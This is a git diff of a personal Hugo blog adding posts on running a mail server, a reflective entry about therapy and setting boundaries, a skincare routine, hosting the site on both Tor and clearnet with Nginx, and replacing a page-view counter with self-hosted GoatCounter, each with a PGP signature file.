`/` on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates. + +The calm ending: Roundcube lives at `https://webmail.alipourimjourneys.ir/` as the site root. The portal links there. Path experiments go in the diary under “character development.” + +--- + +## The bounce emails that taught me about identity + +After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail `root`. My system identity still thought the local domain was `mail.alipourimjourneys.ir`, so `root` became `root@mail.alipourimjourneys.ir`. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house. + +The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased `root` to my real virtual address so necessary noise still reaches a human. `myhostname` can still announce itself as `mail.…` on the SMTP banner. Different knobs, different jobs. + +Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving `vmail` ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior. + +And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in `/var/log/mail.log` so repeated guessing gets a timeout instead of an unlimited hobby. + +--- + +## What “done” means for me + +For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at `mail.alipourimjourneys.ir`, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands. + +Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.” + +If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on. + +--- + +### Links + +- Portal: [mail.alipourimjourneys.ir](https://mail.alipourimjourneys.ir) +- Webmail: [webmail.alipourimjourneys.ir](https://webmail.alipourimjourneys.ir) +- Admin: [mailadmin.alipourimjourneys.ir](https://mailadmin.alipourimjourneys.ir) + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/self_hosting_mail.md.asc b/static/sources/posts/self_hosting_mail.md.asc new file mode 100644 index 0000000..8a6f4d7 --- /dev/null +++ b/static/sources/posts/self_hosting_mail.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20= +=KCRU +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/setting_boundries.md b/static/sources/posts/setting_boundries.md new file mode 100644 index 0000000..fa712d8 --- /dev/null +++ b/static/sources/posts/setting_boundries.md @@ -0,0 +1,28 @@ ++++ +title = 'Setting Boundries' +date = 2025-12-04T14:38:36Z +draft = false ++++ + +I was watching [this video](https://www.youtube.com/watch?v=MQzDMkeSzpw) the other day. It's an interesting video imo. This is something I've been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? + +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other's respect. Naturally that evolved into me becoming a people please. A so called "nice person". I've even been made fun of with those words. + +All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I'm broken. When people act cold with me, I assume they don't like me. Then I want to fix things. Then I become annoying. I look like an "anxiously attached" person. + +But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It's sad, and it's eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please. + +So... I made a decision. To stay away from everyone. To make distance. + +The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don't want to lose. But it's part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place? + +The part I'm making mistake in is that everyone thinks something bad has happened. And they "probably" expect me to talk to them about it. Now this is the part I had to work on. The "setting boundry" part. I don't know if I can do it respectfully or not. I know I will break if I talk. + +I don't really like to stay away from people, to push my friends away. But for now, I have to. I hope I won't regret any of these actions. I hope I can heal. I don't know what will happen next, I just know that I don't want to hangout in large groups for a while. I don't want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won't turn into an incel. I know I won't. I know I push through. I know... + + + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/setting_boundries.md.asc b/static/sources/posts/setting_boundries.md.asc new file mode 100644 index 0000000..3f3467f --- /dev/null +++ b/static/sources/posts/setting_boundries.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2 +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/ +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos= +=oJ5s +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/skin_routine.md b/static/sources/posts/skin_routine.md new file mode 100644 index 0000000..0e4f421 --- /dev/null +++ b/static/sources/posts/skin_routine.md @@ -0,0 +1,74 @@ ++++ +title = 'Skin routine' +date = 2025-10-20T18:47:04Z +draft = false +description = "My skin routine!" ++++ + + +I don't know how to answer the "why?" or "whyyyyy?" or even "why the f\*\*\*?" I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, "Knock on wood, you have good skin!". +So... idk why I decided to take extra care of my skin, but I did! + +Generally speaking, things like this make me feel good about myself. +Like I'm doing something positive while not being tortured! +It's always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice! + +Oh... and yeah, idk why I'm not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me. + +So... I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to "Jack Black Pure Clean Daily Facial Cleanser" after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don't need to use the cleanser in the morning, but you should definitely use it at night. +It's ok to wash your face with water in the morning. + +The next step for me is applying the toner. +I use "NIVEA Derma Skin Clear Toner". +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here. + +After this, I apply an exfoliant to exfoliate my skin. +I've been using "Paula's Choice Skin Perfecting 2% BHA Liquid Exfoliant" so far, but this time I got "BULLDOG Original Exfoliating Face Scrub for Purer Skin". +Haven't used it yet, but Paula's choice one is definitely good. +The thing with it is that you don't have to massage it; it's not physical; it's an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I'll see how I like the new one, and if I prefer it or not. +No rinsing is required here either. + +I then apply my eye cream, which is also from CeraVe. +Haven't really seen much of a difference under my eyes, but it is supposed to help. +I don't know! It feels good to apply the eye cream regardless. + +The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I've watched Mortuary Assisant's gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use "Neutrogena Hydro Boost Aqua Gel Moisturiser". +As a man, if you use oil-based products, you'll get acne. +So don't. + +I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^ + +And... last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection. + +Even if it does nothing, it still makes me feel good about myself. + +The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning! + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/skin_routine.md.asc b/static/sources/posts/skin_routine.md.asc new file mode 100644 index 0000000..416380b --- /dev/null +++ b/static/sources/posts/skin_routine.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9 +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA= +=dBAx +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/tor_clearnet_blog.md b/static/sources/posts/tor_clearnet_blog.md new file mode 100644 index 0000000..f3d04bd --- /dev/null +++ b/static/sources/posts/tor_clearnet_blog.md @@ -0,0 +1,290 @@ +--- +title: "Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod" +date: 2025-09-19 +tags: ["tor", "nginx", "hugo", "papermod", "cloudflare", "letsencrypt"] +categories: ["DevOps", "Notes"] +description: "How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy." +draft: false +ShowToc: true +TocOpen: true +--- + +> TL;DR — The site is built once (Hugo project), **published twice**: +> - **Onion**: `http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/` via Tor, no TLS/HSTS, bound to `127.0.0.1:3301`. +> - **Clearnet**: `https://blog.alipourimjourneys.ir` behind Cloudflare, Let’s Encrypt cert, `Onion-Location` header pointing to the onion mirror. + +--- + +## 1) Tor hidden service (onion) basics + +I used Tor’s v3 onion services and mapped onion port 80 → my local web server on `127.0.0.1:3301`. + +**Install & configure Tor (Debian/Ubuntu):** +```bash +sudo apt update && sudo apt install -y tor +sudoedit /etc/tor/torrc +``` + +Add: +``` +HiddenServiceDir /var/lib/tor/hidden_site/ +HiddenServicePort 80 127.0.0.1:3301 +``` + +Make sure the directory is owned by Tor’s user and private: +```bash +sudo mkdir -p /var/lib/tor/hidden_site +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site +sudo chmod 700 /var/lib/tor/hidden_site +``` + +**Important:** use the right systemd unit: +```bash +# validate as the Tor user +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config + +# (re)start the real service +sudo systemctl enable --now tor@default +sudo systemctl restart tor@default +``` + +Get the onion address: +```bash +sudo cat /var/lib/tor/hidden_site/hostname +``` + +Quick check (do remote DNS via SOCKS): +```bash +curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)" +``` + +--- + +## 2) Nginx for the onion (localhost-only) + +I keep the onion site strictly on localhost: **no HTTPS, no redirects, no HSTS**. Tor already provides e2e encryption and authenticity. + +`/etc/nginx/sites-available/onion-blog`: +```nginx +server { + listen 127.0.0.1:3301 default_server; + server_name .onion 127.0.0.1 localhost; + + # keep onion simple; no HSTS/redirects here + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + # (optional) strict CSP so nothing leaks to clearnet + # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Enable/reload: +```bash +sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog +sudo nginx -t && sudo systemctl reload nginx +``` + +> Gotcha I hit: I had **two** server blocks on `127.0.0.1:3301`, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it `default_server`). Also, if you ever use a regex in `server_name`, the syntax is `server_name ~* \.onion$` (note the space after `~*`). + +--- + +## 3) Hugo + PaperMod setup (and version bumps) + +PaperMod now requires **Hugo Extended ≥ 0.146.0**. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read `/srv` paths by default). + +```bash +# install Hugo extended (example) +VER=0.146.0 +cd /tmp +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz +sudo mv hugo /usr/local/bin/hugo +hugo version # should say "extended" and >= 0.146.0 +``` + +Create the site and theme: +```bash +sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo +cd /srv/hugo +hugo new site mysite +cd mysite +git init +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod +``` + +**Config updates:** in newer Hugo, `paginate` is deprecated → use: +```toml +# config/_default/hugo.toml +title = "My Blog" +theme = "PaperMod" +enableRobotsTXT = true + +[pagination] + pagerSize = 10 + +[params] + defaultTheme = "auto" + showReadingTime = true + showPostNavLinks = true + showBreadCrumbs = true + showCodeCopyButtons = true +``` + +I added per-environment overrides so I can build two outputs with different `baseURL`s: + +```toml +# config/clearnet/hugo.toml +baseURL = "https://blog.alipourimjourneys.ir/" + +# config/onion/hugo.toml +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/" +``` + +--- + +## 4) Dual builds (clearnet + onion) and one-command deploy + +I publish the same content twice—once for each base URL and docroot: + +```bash +cd /srv/hugo/mysite +# clearnet build (served over HTTPS) +hugo --minify --environment clearnet -d public-clearnet +# onion build (served via Tor) +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +``` + +Helper script I use: +```bash +sudo tee /usr/local/bin/build-both >/dev/null <<'EOF' +#!/usr/bin/env bash +set -euo pipefail +cd /srv/hugo/mysite +hugo --minify --environment clearnet -d public-clearnet +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +echo "Deployed both at $(date)" +EOF +sudo chmod +x /usr/local/bin/build-both +``` + +While editing, I sometimes auto-rebuild on file save: +```bash +sudo apt install -y entr +cd /srv/hugo/mysite +find content layouts assets static config -type f | entr -r build-both +``` + +--- + +## 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) + +Cloudflare is set to **Full (strict)**. I issued a public cert for `blog.alipourimjourneys.ir` using **manual DNS-01** (no API token): + +```bash +sudo snap install --classic certbot +sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email +``` + +Certbot tells you to add a TXT record `_acme-challenge.blog.alipourimjourneys.ir`. Add it in Cloudflare DNS, verify with `dig`, then continue. Cert ends up at: +``` +/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem +``` + +Clearnet Nginx vhosts: + +```nginx +# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) +server { + listen 80; listen [::]:80; + server_name blog.alipourimjourneys.ir; + return 301 https://blog.alipourimjourneys.ir$request_uri; +} + +# HTTPS origin (behind Cloudflare) +server { + listen 443 ssl http2; listen [::]:443 ssl http2; + server_name blog.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; + + # HSTS on clearnet only + add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; + + # Help Tor Browser discover the onion mirror (safe on clearnet) + add_header Onion-Location "http://.onion$request_uri" always; + + root /srv/hugo/mysite/public-clearnet; + index index.html; + + location / { try_files $uri $uri/ /index.html; } +} +``` + +> Note: don’t add HSTS or HTTPS redirects to the **onion** vhost. Keep onion pure HTTP on localhost. + +--- + +## 6) Troubleshooting I ran into (and fixes) + +- **Tor unit confusion:** `tor.service` is a tiny master; the real daemon is `tor@default`. Use that unit and verify config as `debian-tor`. +- **Permissions:** `HiddenServiceDir` must be owned by `debian-tor` and mode `700`. +- **Mapping mismatch:** If `HiddenServicePort 80 127.0.0.1:3301` is set, visit `http:///` (no `:3301`). If you set `HiddenServicePort 3301 127.0.0.1:3301`, you must use `http://:3301/`. +- **Curl & .onion:** modern curl refuses `.onion` unless you use remote DNS via SOCKS: + ```bash + curl -I --socks5-hostname 127.0.0.1:9050 "http:///" + ``` +- **Two Nginx vhosts on the same port:** I had a duplicate server on `127.0.0.1:3301` pointing somewhere else, which caused onion 404s. Keep only one (or mark one `default_server`). +- **Regex in `server_name`:** if you use it, write `server_name ~* \.onion$` (space after `~*`). I fixed an `invalid variable name` error caused by a missing space. +- **PaperMod with old Hugo:** upgraded to **extended ≥ 0.146.0**. Also updated `paginate` → `[pagination].pagerSize`. +- **Snap confinement:** Snap’s `hugo` couldn’t read `/srv` (`.../void: permission denied`). Switched to the tarball build in `/usr/local/bin`. + +--- + +## 7) “Not secure” in Tor Browser? + +That message can appear because onion uses **HTTP**. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference **clearnet** resources (scan the built HTML for `http(s)://` links that aren’t your onion). + +--- + +## 8) Day-to-day workflow + +- Create content: + ```bash + hugo new posts/my-first-post.md # then set draft: false + ``` +- Publish both: + ```bash + build-both + ``` +- (Optional) Auto on save: + ```bash + find content layouts assets static config -type f | entr -r build-both + ``` +- (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs `build-both`. + +--- + +## Final notes + +- Clearnet gets **HTTPS + HSTS** and an `Onion-Location` header. +- Onion gets **no HSTS/redirects**, and all assets are self-hosted to avoid mixed content. +- Serving both worlds from one Hugo repo is easy: **two builds, two vhosts, one workflow**. + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/tor_clearnet_blog.md.asc b/static/sources/posts/tor_clearnet_blog.md.asc new file mode 100644 index 0000000..40ec603 --- /dev/null +++ b/static/sources/posts/tor_clearnet_blog.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4 +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4 +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/ +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8 +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM= +=QlNw +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/view_count.md b/static/sources/posts/view_count.md new file mode 100644 index 0000000..0ab5416 --- /dev/null +++ b/static/sources/posts/view_count.md @@ -0,0 +1,400 @@ +--- +title: "A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)" +date: 2025-10-18T10:45:00 +slug: papermod-views-debugging-story +summary: "I tried to add a simple 'views' counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix." +tags: ["Hugo", "PaperMod", "Analytics", "Debugging", "Busuanzi", "Vercount", "GoatCounter"] +categories: ["Stories"] +draft: false +--- + +I only wanted a tiny **“views”** badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day. + +The thing is, I don't think the counter even works correctly. +Or maybe I'm undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I've been counting days for. + + +### The neat footer row + +First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side: + +```html +
    + + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + + Site views: + + + + Visitors: + +
    +``` + +So far, so good. The labels showed up. The numbers, though? **Nothing.** Just an em dash. I shrugged—maybe it was a caching thing. + +### The first round of checks + +I added the script site‑wide in `layouts/partials/extend_head.html`: + +```html + +``` + +Refreshed. Still blank. + +**DevTools time.** Network tab: the script **does** load: +- **Request URL:** `https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js` +- **Request Method:** GET +- **Status Code:** 304 Not Modified +- **Referrer Policy:** strict-origin-when-cross-origin +- **User-Agent:** a normal Chromium build (nothing exotic) + +No red flags. Just a perfectly normal 304. + +Maybe my IDs were wrong? Busuanzi has a couple of flavors: `busuanzi_value_*` (with container wrappers) or shorthand like `busuanzi_site_pv`. I tried **both**, carefully, one at a time. Still… **—**. + +### The odd message + +Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right: + +> **“域名过长,已被禁用 views”** + +That’s “domain name too long, disabled.” Wait, what? + +I checked my hostname: **`blog.alipourimjourneys.ir`**. I counted: **27 characters**. Busuanzi’s limit? **22.** Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill. + +### Two ways out + +At this point I had two clean options: + +1. **Keep Busuanzi** and move the site to the **apex domain** (short enough). +2. Keep my beloved `blog.` subdomain and swap in **Vercount**, a Busuanzi‑style drop‑in without the 22‑char limit. + +I liked the subdomain (habit, mostly), so I tried **Vercount**. + +### The swap (five-minute fix) + +I removed the Busuanzi script and added Vercount instead: + +```html + + +``` + +I kept the same tidy footer row, but switched the IDs to Vercount’s: + +```html +
    + + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + Site views: + + Visitors: +
    +``` + +For per‑post counts (in the post meta), I added: + +```html + views +``` + +Deploy. Refresh. **Numbers.** + +### But if you want to stay with Busuanzi… + +If your apex domain is short enough, pointing the site there works fine. The gist: + +- Set `baseURL` in Hugo to the apex: + + ```toml + baseURL = "https://alipourimjourneys.ir/" + ``` + +- Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool). +- Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate. + +### Post‑mortem checklist (a.k.a. things I learned) + +- **If the script loads but you get blanks**, it’s not always IDs or caching. Sometimes it’s a **service rule**. +- **Busuanzi refuses long hostnames** (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note. +- **Don’t mix providers** on the same page. Load exactly one script (Busuanzi *or* Vercount). +- **CSP and blockers matter.** If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin. + +### Happy ending + +Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles. + +If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of. + +### Final notes +Yea... I just felt this feature was missing, and it's good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I've spent too much time on it, and it feels like wasted time. + + +--- + + +## Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion) + +This is the **self‑host** part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my `.onion` mirror counting to the same GoatCounter site. Paste this whole section at the end of the post. + +--- + +### 1) Clean up old counters (optional, once) +```bash +# From your Hugo site root +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" . +``` +Remove any matching ` + + + +``` + +Style so meta items stay inline with middle dots (PaperMod‑like). Put this in `assets/css/extended/goatcounter.css`: +```css +.post-single .post-header .post-meta, +.post-single .post-header .entry-meta, +.post-entry .entry-footer, +.post-entry .post-meta { + display:flex; align-items:center; flex-wrap:wrap; gap:.35rem; +} +.post-single .post-header .post-meta > *, +.post-single .post-header .entry-meta > *, +.post-entry .entry-footer > *, +.post-entry .post-meta > * { + display:inline-flex; align-items:center; white-space:nowrap; +} +.post-single .post-header .post-meta > * + *::before, +.post-single .post-header .entry-meta > * + *::before, +.post-entry .entry-footer > * + *::before, +.post-entry .post-meta > * + *::before { + content:"·"; margin:0 .5rem; opacity:.6; +} +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; } +``` + +--- + +### 6) Count Tor (.onion) visits **into the same site** +In the **.onion** server block, proxy GoatCounter endpoints to the same site by forcing the Host header: + +```nginx +# inside: server { ... } for fjthpp2h3mj2r....onion + +location = /count { + proxy_pass http://127.0.0.1:8081/count; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; # onion is http +} + +location /counter/ { + proxy_pass http://127.0.0.1:8081/counter/; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; + add_header Cache-Control "no-store"; + proxy_no_cache 1; proxy_cache_bypass 1; +} 